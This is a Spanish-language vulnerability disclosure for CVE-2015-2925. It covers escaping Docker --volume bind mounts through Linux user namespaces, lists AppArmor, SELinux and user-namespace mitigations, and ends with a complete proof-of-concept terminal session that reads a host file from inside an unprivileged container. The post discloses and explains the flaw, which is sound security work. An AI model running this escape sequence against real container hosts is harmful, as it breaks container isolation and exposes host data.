Docker + CVE-2015-2925 = escapando de --volume

Vulnerabilidad reciente en Linux conocida desde hace aproximadamente medio año (varios meses de forma pública) hizo posible escapar de los bind mounts. En particular, en el caso de Docker es posible escapar desde el interior del directorio montado mediante la opción --volume al sistema de archivos del host correspondiente.

El Equipo de Seguridad de Docker ya está al tanto del problema y permitió publicar esto para atraer la atención pública.

Gracias a Jann Horn por señalar esto, básicamente lo reproduje.

Mitigación

Cualquiera de estas opciones será suficiente:

• Kernel con AppArmor habilitado y perfil Docker de AppArmor
• Kernel con SELinux habilitado y política Docker de SELinux
• Espacios de usuario deshabilitados en el kernel

Notas

• Esto no está corregido en upstream ni en las distribuciones aún y debería funcionar en cualquier kernel reciente
• Esto no requiere ser root dentro del contenedor
• Las distribuciones proporcionan diferentes versiones del paquete util-linux del cual unshare(1) forma parte y puede devolver "Operation not permitted" en tu caso; se probó que el paquete de Debian Jessie funciona como se espera

Prueba de concepto

# uname -r
3.18.9-aufs
# zgrep USER_NS /proc/config.gz
CONFIG_USER_NS=y
# docker -v
Docker version 1.6.1, build 97cd073
# docker pull debian:jessie
# mkdir /test && chmod 777 /test
# echo escaped > /etc/hostdata && chmod 644 /etc/hostdata
# docker run -i -t --rm -v /test:/test -u nobody debian:jessie
nobody@fc8925af0f19:/$ unshare -m -U -r /bin/bash
root@fc8925af0f19:/# cd /test
root@fc8925af0f19:/test# mkdir A A/B C D
root@fc8925af0f19:/test# mount --bind A D
root@fc8925af0f19:/test# cd D/B
root@fc8925af0f19:/test/D/B# mv /test/A/B /test/C
root@fc8925af0f19:/test/D/B# cat ../../../etc/hostdata
escaped